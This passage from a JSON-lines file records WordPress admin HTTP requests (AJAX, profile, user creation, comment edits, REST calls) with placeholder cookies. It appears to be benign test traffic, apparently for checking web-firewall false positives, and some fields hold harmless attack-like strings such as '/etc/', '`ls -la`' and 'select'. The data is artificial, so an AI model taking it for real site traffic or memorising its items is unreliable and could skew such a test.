"action=closed-postboxes&closed=dashboard_primary&hidden=&closedpostboxesnonce=0&page=dashboard"} +{"method": "POST", "target": "/wp-admin/admin-ajax.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 41", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "X-Requested-With: XMLHttpRequest", "Accept: */*", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/edit.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203356"], "body": "action=ajax-tag-search&tax=post_tag&q=bob"} +{"method": "POST", "target": "/wp-admin/admin-ajax.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 142", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "X-Requested-With: XMLHttpRequest", "Accept: */*", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/edit.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203356"], "body": "action=query-attachments&post_id=0&query%5Borderby%5D=date&query%5Border%5D=DESC&query%5Bposts_per_page%5D=80&query%5Bpaged%5D=1&_ajax_nonce=0"} +{"method": "POST", "target": "/wp-admin/admin-ajax.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 33", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "X-Requested-With: XMLHttpRequest", "Accept: */*", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/edit.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203356"], "body": "action=wp-compression-test&test=1"} +{"method": "POST", "target": "/wp-admin/admin-ajax.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 54", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "X-Requested-With: XMLHttpRequest", "Accept: */*", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/edit.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203356"], "body": "action=wp-link-ajax&search=hello&_ajax_linking_nonce=0"} +{"method": "POST", "target": "/wp-admin/admin-ajax.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 40", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "X-Requested-With: XMLHttpRequest", "Accept: */*", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/edit.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203356"], "body": "action=oembed-cache&post=1&_ajax_nonce=0"} +{"method": "POST", "target": "/wp-cron.php?doing_wp_cron=1794203360.3913509845733642578125", "headers": ["Host: blog.example", "User-Agent: WordPress/7.1.4; http://blog.example", "Accept: */*", "Accept-Encoding: deflate, gzip, br, zstd", "Connection: close", "Content-Length: 0", "Content-Type: application/x-www-form-urlencoded"], "body": ""} +{"method": "POST", "target": "/wp-admin/admin-ajax.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 377", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html, */*; q=0.01", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/edit.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203356"], "body": "post_title=Bob's+quick+title&post_name=bobs-first-post-2&mm=11&jj=09&aa=2026&hh=05&mn=48&ss=08&post_author=1&post_password=&post_category%5B%5D=0&post_category%5B%5D=1&tax_input%5Bpost_tag%5D=&comment_status=open&ping_status=open&_status=publish&_inline_edit=80b31520db&post_view=list&screen=edit-post&action=inline-save&post_type=post&post_ID=13&edit_date=true&post_status=all"} +{"method": "POST", "target": "/wp-admin/profile.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 467", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Origin: http://blog.example", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/profile.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203362"], "body": "_wpnonce=931bec229d&_wp_http_referer=%2Fwp-admin%2Fprofile.php&from=profile&checkuser_id=1&color-nonce=1c207de10d&admin_color=modern&admin_bar_front=1&locale=site-default&user_login=editor1&first_name=Bob&last_name=&nickname=editor1&display_name=editor1&email=editor1%40example.com&url=http%3A%2F%2Fblog.example&description=I+write+about+%2Fetc%2F+and+%3Cem%3Ecats%3C%2Fem%3E.&pass1=&pass2=&new_application_password_name=&action=update&user_id=1&submit=Update+Profile"} +{"method": "GET", "target": "/wp-admin/profile.php?updated=1", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/profile.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203362"], "body": ""} +{"method": "POST", "target": "/wp-admin/user-new.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 293", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Origin: http://blog.example", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/user-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203364"], "body": "action=createuser&_wpnonce_create-user=0a10e6c68f&_wp_http_referer=%2Fwp-admin%2Fuser-new.php&user_login=author2&email=author2%40example.com&first_name=&last_name=&url=&pass1=Pw-for-author2-is-long%21&pass2=Pw-for-author2-is-long%21&send_user_notification=1&role=subscriber&createuser=Add+User"} +{"method": "GET", "target": "/wp-admin/users.php?update=add&id=2", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/user-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203364"], "body": ""} +{"method": "POST", "target": "/wp-admin/admin-ajax.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 79", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: */*", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/edit-comments.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203365"], "body": "_ajax_nonce=575b959a1d&action=dim-comment&id=2&dimClass=unapproved&new=approved"} +{"method": "POST", "target": "/wp-admin/admin-ajax.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 81", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: */*", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/edit-comments.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203365"], "body": "_ajax_nonce=575b959a1d&action=dim-comment&id=2&dimClass=unapproved&new=unapproved"} +{"method": "POST", "target": "/wp-admin/admin-ajax.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 358", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: */*", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/edit-comments.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203369"], "body": "newcomment_author=&newcomment_author_email=&newcomment_author_url=&action=replyto-comment&comment_ID=2&comment_post_ID=1&status=&position=-1&checkbox=1&mode=detail&_ajax_nonce-replyto-comment=465b2dff40&_wp_unfiltered_html_comment=8f43bb2d1f&content=Thanks%2C+Jo!+Try+%60ls+-la%60+and+%3Cb%3Ethen%3C%2Fb%3E+restart.&id=1&comments_listing=all&approve_parent=1"} +{"method": "GET", "target": "/wp-admin/comment.php?action=editcomment&c=2", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203369"], "body": ""} +{"method": "POST", "target": "/wp-admin/comment.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 613", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Origin: http://blog.example", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/comment.php?action=editcomment&c=2", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203373"], "body": "_wpnonce=e9770a5628&_wp_http_referer=%2Fwp-admin%2Fcomment.php%3Faction%3Deditcomment%26c%3D2&action=editedcomment&comment_ID=2&comment_post_ID=1&newcomment_author=Jo+Reader&newcomment_author_email=jo%40example.com&newcomment_author_url=https%3A%2F%2Fexample.org%2F&content=An+edited+comment%2C+it%27s+about+select+wines.&closedpostboxesnonce=b39bd4c73a&comment_status=1&mm=11&jj=09&aa=2026&hh=05&mn=45&ss=44&hidden_mm=11&cur_mm=11&hidden_jj=09&cur_jj=09&hidden_aa=2026&cur_aa=2026&hidden_hh=05&cur_hh=05&hidden_mn=45&cur_mn=49&comment_parent=0&save=Update&c=2&p=1&referredby=&_wp_original_http_referer=&noredir=1"} +{"method": "GET", "target": "/wp-admin/edit-comments.php?p=1", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/comment.php?action=editcomment&c=2", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203373"], "body": ""} +{"method": "GET", "target": "/wp-json/wp/v2/comments?context=edit&post=23&type=note&status=all&per_page=100&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: b40ef802e6", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203386"], "body": ""} +{"method": "POST", "target": "/wp-admin/admin-ajax.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 263", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/edit.php?post_type=page", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203393"], "body": "data%5Bwp-check-locked-posts%5D%5B%5D=post-10&data%5Bwp-check-locked-posts%5D%5B%5D=post-16&data%5Bwp-check-locked-posts%5D%5B%5D=post-3&data%5Bwp-check-locked-posts%5D%5B%5D=post-2&interval=10&_nonce=f06ef15ba2&action=heartbeat&screen_id=edit-page&has_focus=true"} +{"method": "GET", "target": "/wp-json/wp/v2/comments?context=edit&post=24&type=note&status=all&per_page=100&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: b40ef802e6", "Referer: http://blog.example/wp-admin/post-new.php?post_type=page", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203394"], "body": ""} +{"method": "GET", "target": "/wp-content/themes/twentytwentyfive/assets/images/botany-flowers-closeup.webp", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203394"], "body": ""} +{"method": "GET", "target": "/wp-content/themes/twentytwentyfive/assets/images/red-hibiscus-closeup.webp", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203394"], "body": ""} +{"method": "GET", "target": "/wp-content/themes/twentytwentyfive/assets/images/grid-flower-2.webp", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203394"], "body": ""} +{"method": "GET", "target": "/wp-content/themes/twentytwentyfive/assets/images/campanula-alliariifolia-flower.webp", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203394"], "body": ""} +{"method": "GET", "target": "/wp-content/themes/twentytwentyfive/assets/images/delphinium-flowers.webp", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203394"], "body": ""} +{"method": "GET", "target": "/wp-json/wp/v2/template-parts/twentytwentyfive//header?context=edit&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: b40ef802e6", "Referer: http://blog.example/wp-admin/site-editor.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203398"], "body": ""} +{"method": "GET", "target": "/wp-json/wp/v2/template-parts/twentytwentyfive//footer?context=edit&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: b40ef802e6", "Referer: http://blog.example/wp-admin/site-editor.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203398"], "body": ""} +{"method": "GET", "target": "/wp-json/wp/v2/posts?context=edit&offset=0&order=desc&orderby=date&per_page=3&ignore_sticky=false&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: b40ef802e6", "Referer: http://blog.example/wp-admin/site-editor.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203398"], "body": ""} +{"method": "GET", "target": "/wp-json/wp/v2/posts?context=edit&offset=0&order=desc&orderby=date&per_page=12&ignore_sticky=false&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", 